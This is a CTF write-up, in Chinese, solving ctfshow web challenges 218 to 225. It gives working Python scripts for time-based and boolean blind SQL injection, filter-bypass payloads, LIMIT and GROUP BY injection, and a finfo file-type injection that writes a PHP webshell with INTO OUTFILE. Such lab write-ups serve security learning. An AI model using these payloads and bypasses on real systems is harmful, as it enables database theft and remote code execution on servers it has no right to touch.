#payload = f"1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{i},1))>{mid},benchmark(10000000, MD5('test')),0)#"
#payload = f"1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))>{mid},benchmark(10000000, MD5('test')),0)#"
payload = f"1)or if(ascii(substr((select flagaabc from ctfshow_flagxccb),{i},1))>{mid},benchmark(100000000, MD5('test')),0)#"
data = {
"ip" : payload,
"debug" : 1
}
print(data)
start_time = time.time()
r = requests.post(url, data=data)
end_time = time.time() - start_time

if end_time > 2.5:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else :
break
print(flag)

不得不说这个时间确实不太稳定,后面爆数据的时候把benchmark的次数改了很多次

web218

image-20250505120400822

查询语句变了,参数是id,这次sleep和benchmark函数都被禁用了,但是这里的话输入点还是和之前是一样的

1
select id from ctfshow_info where ip = (1);

这里的话可以用笛卡尔积去做

image-20250505123048957

那就测一下延迟吧

不得不说这个测的真挺麻烦的,每次要么太少要么太多

如果是用columns的话两个太少三个太多,最后还是决定用三个tables的

1
ip=1) or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)%23&debug=1

那就写脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://e37fb63a-1945-44db-9885-cfa468e30d51.challenge.ctf.show/api/"
i = 0
flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#"
#payload = f"1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))>{mid},(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#"
payload = f"1) or if(ascii(substr((select flagaac from ctfshow_flagxc),{i},1))>{mid},(select count(*) from information_schema.tables A, information_schema.tables B,information_schema.tables C),0)#"
data = {
"ip" : payload,
"debug" : 1,
}
print(payload)
start = time.time()
r = requests.post(url, data=data)
end = time.time() - start

if end > 1:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else:
break
print(flag)

回来做一下rlike的做法,常规测延迟

1
ip=1) or if(ascii(substr(database(),1,1))>0,(select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE concat(repeat('(a.*)+',7),'b')),0)#&debug=1

测了大半天才测出来,延迟大概4s左右,照着改脚本就行

web219

才发现上把预期是用rlike去打盲注的,那又得返回去做一下,既然这样的话那这道题就是用笛卡尔积去做的

1
ip=1)+or+if(ascii(substr(database()%2c1%2c1))%3e0%2c(SELECT+count(*)+FROM+information_schema.tables+A%2c+information_schema.tables+B%2c+information_schema.schemata+D%2c+information_schema.schemata+E%2c+information_schema.schemata+F%2cinformation_schema.schemata+G)%2c0)%23&debug=1

这里的话刚好延迟是3-4s左右

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://91f68e53-629c-42c8-9ba1-dc0fa6092341.challenge.ctf.show/api/"
i = 0
flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"1) or if(ascii(substr(database(),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
#payload = f"1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
#payload = f"1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
payload = f"1) or if(ascii(substr((select flagaabc from ctfshow_flagxca),{i},1))>{mid},(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
data = {
"ip" : payload,
"debug" : 1,
}
start = time.time()
r = requests.post(url, data=data)
end = time.time() - start

if end > 2.5:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else:
break
print(flag)

web220

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

这里过滤还是挺多的,但是之前也学过绕过的方法了

字符集遍历绕过ascii就行,left+like绕过substr和mid,然后盲注的话用笛卡尔就行

试着写一下payload

1
ip=1) or if(left(database(),{i})= \"{flag+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#&debug=1

大概延迟6-7秒左右,不管了,慢点就慢点吧

但是发现这几个切片函数都不能和group_concat共用,用limit语句限制一下输出吧

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time

url = "http://fcd017bc-038f-40e2-9f43-f2055436b4d9.challenge.ctf.show/api/"
strings="_-{}abcdefghijklmnopqrstuvwxyz0123456789"

target = ""
for i in range(1,100):
found = 0
for j in strings:
#payload = f"1) or if(left(database(),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
#payload = f"1) or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
#payload = f"1) or if(left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
payload = f"1) or if(left((select flagaabcc from ctfshow_flagxcac limit 0,1),{i})= \"{target+j}\",(select count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G),0)#"
#print(payload)
data = {
"ip": payload,
"debug": 1,
}
start = time.time()
r = requests.post(url, data=data)
end = time.time() - start
if end >= 4:
found = 1
target += j
print(target)
break
if not found:
print(target)
exit()

其他注入

limit注入

web221

查询语句

1
2
3
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

返回逻辑

1
2
//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

这里的话就是limit注入了,这里有两个参数$page和$limit,测试一下

1
2
3
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)
回显
{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25XPATH syntax error: '~10.3.18-MariaDB'","count":"0","data":[]}

拿数据库

1
2
3
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)
回显
{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25XPATH syntax error: '~ctfshow_web_flag_x'","count":"0","data":[]}

数据库名字就是flag

group注入

web222

查询语句

1
2
3
//分页查询
$sql = select * from ctfshow_user group by $username;

返回逻辑

1
//TODO:很安全,不需要过滤

group注入有两种,报错和延迟,这里的话没回显,直接打延迟,参数是u

1
/api/?u=if(ascii(substr(database(),1,1))>0,sleep(1),1)if(ascii(substr(database(),1,1))>0,sleep(1),1)

发现一共延迟了21s左右,估计有21条数据,我们用sleep(0.2)吧

写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url = "http://ebfe1f77-39ae-4732-9e96-edfeb30a0bf9.challenge.ctf.show/api/"
i = 0
target = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2
#payload = f"?u=if(ascii(substr((select database()),{i},1))>{mid},sleep(0.2),1)"
#数据库名ctfshow_web
#payload = f"?u=if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.2),1)"
#数据表名ctfshow_flaga
#payload = f"?u=if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flaga'),{i},1))>{mid},sleep(0.2),1)"
#字段名flagaabc
payload = f"?u=if(ascii(substr((select flagaabc from ctfshow_flaga),{i},1))>{mid},sleep(0.2),1)"
start = time.time()
r = requests.get(url + payload)
end = time.time() - start

if end > 3:
head = mid + 1
else :
tail = mid
if head != 32:
target += chr(head)
print(target)
else :
break
print(target)

web223

这道题是过滤了数字的,用true去构造就行,但是这里sleep(true)的话又得跑好久,所以直接打布尔盲注

1
?u=if(ascii(substr((select database()),{real_i},true))>{real_mid},username,false)

语句正确的回显

1
2
3
?u=if(ascii(substr((select%20database()),true,true))>false,username,false)
返回
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"2","username":"user1","pass":"111"},{"id":"3","username":"user2","pass":"222"},{"id":"4","username":"userAUTO","pass":"passwordAUTO"}]}

语句错误的回显

1
2
3
?u=if(ascii(substr((select%20database()),true,true))<false,username,false)
返回
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"}]}

然后写脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests

url = "http://1207941e-aa7a-4183-86da-2417300bb4e0.challenge.ctf.show/api/"
i = 0
target = ""

def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2
real_mid = createNum(mid)
real_i = createNum(i)

#payload = f"if(ascii(substr(database(),{real_i},true))>{real_mid},username,false)"
#数据库名ctfshow_web
#payload = f"if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{real_i},true))>{real_mid},username,false)"
#数据表名ctfshow_flagas
#payload = f"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagas'),{real_i},true))>{real_mid},username,false)"
#列名flagasabc
payload = f"if(ascii(substr((select flagasabc from ctfshow_flagas),{real_i},true))>{real_mid},username,false)"
params={"u":payload}
r=requests.get(url,params=params)
# print(r.text)
if "passwordAUTO" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
target += chr(head)
print(target)
else:
break
print(target)

web224

一个登录界面

image-20250507185316118

扫目录扫出来一个robots.txt文件,访问拿到/pwdreset.php,重置一下密码然后登录就行,然后就是文件上传

fuzz一下一直没fuzz出来具体的绕过

看了 wp 是文件类型注入,后台会通过读取文件内容判断文件类型,记录到数据库,对文件进行重命名。

然后我们新建一个txt文件,写入

1
C64File "');select 0x3c3f3d20706870696e666f28293b3f3e into outfile '/var/www/html/test.php';--+

这里的话0x3c3f3d20706870696e666f28293b3f3e<?= phpinfo();?>的十六进制

C64File 是与 Commodore 64 相关的文件类型,前边的C64File是为了绕过类型检测,之后闭合,写入 sql 语句,进行测试一下

访问filelist.php发现这里会对我们传入的文件进行重命名

image-20250507192231315

访问我们刚刚传入的文件

image-20250507192406679

成功执行,然后我们进行ls

image-20250507192617068

想看一下check的机制是什么样的,读取upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if ($_FILES["file"]["error"] > 0) {
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}

if ($_FILES["file"]["size"] > 10 * 1024) {
die("文件过大: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />");
}

if (file_exists("upload/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
$filename = md5(md5(rand(1, 10000))) . ".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);

if (preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i", $filetype)) {
die("file type error");
}

$filepath = "upload/" . $filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('" . $filename . "','" . $filepath . "','" . $filetype . "');";

move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

$con = mysqli_connect("localhost", "root", "root", "ctf");
if (!$con) {
die('Could not connect: ' . mysqli_error());
}

if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}

mysqli_close($con);
}
?>

注意这里的sql语句

1
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('" . $filename . "','" . $filepath . "','" . $filetype . "');";

这里可以看到filename和filepath都是不可控的,唯有filetype是可控的,然后我们看filetype的赋值机制

1
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
  • finfo类:finfo是一个类,里面有方法open,file
  • finfo_open:finfo_open – finfo::__construct — 创建新 finfo 实例,这个函数的作用是打开一个文件,通常和finfo::file(finfo_file)在一起使用,
  • finfo_file:返回一个文件的信息

本地测试一下

1
2
3
<?php
$filetype = (new finfo)->file('1.txt');
var_dump($filetype);

然后我们创建一个1.txt

1
C64File "');select 0x3c3f3d60746163202f666c2a603f3e into outfile '/var/www/html/file1.php';--+

运行php后执行结果

1
string(107) "PC64 Emulator file ""');select 0x3c3f3d60746163202f666c2a603f3e into outfile '/var/www/html/file1.php';--+""

可以发现这里成功插入了我们的数据,也就是说我们代码中的filetype,然后这里拼接到sql语句中造成注入

堆叠注入提升

web225

查询语句

1
2
3
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

1
2
3
4
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}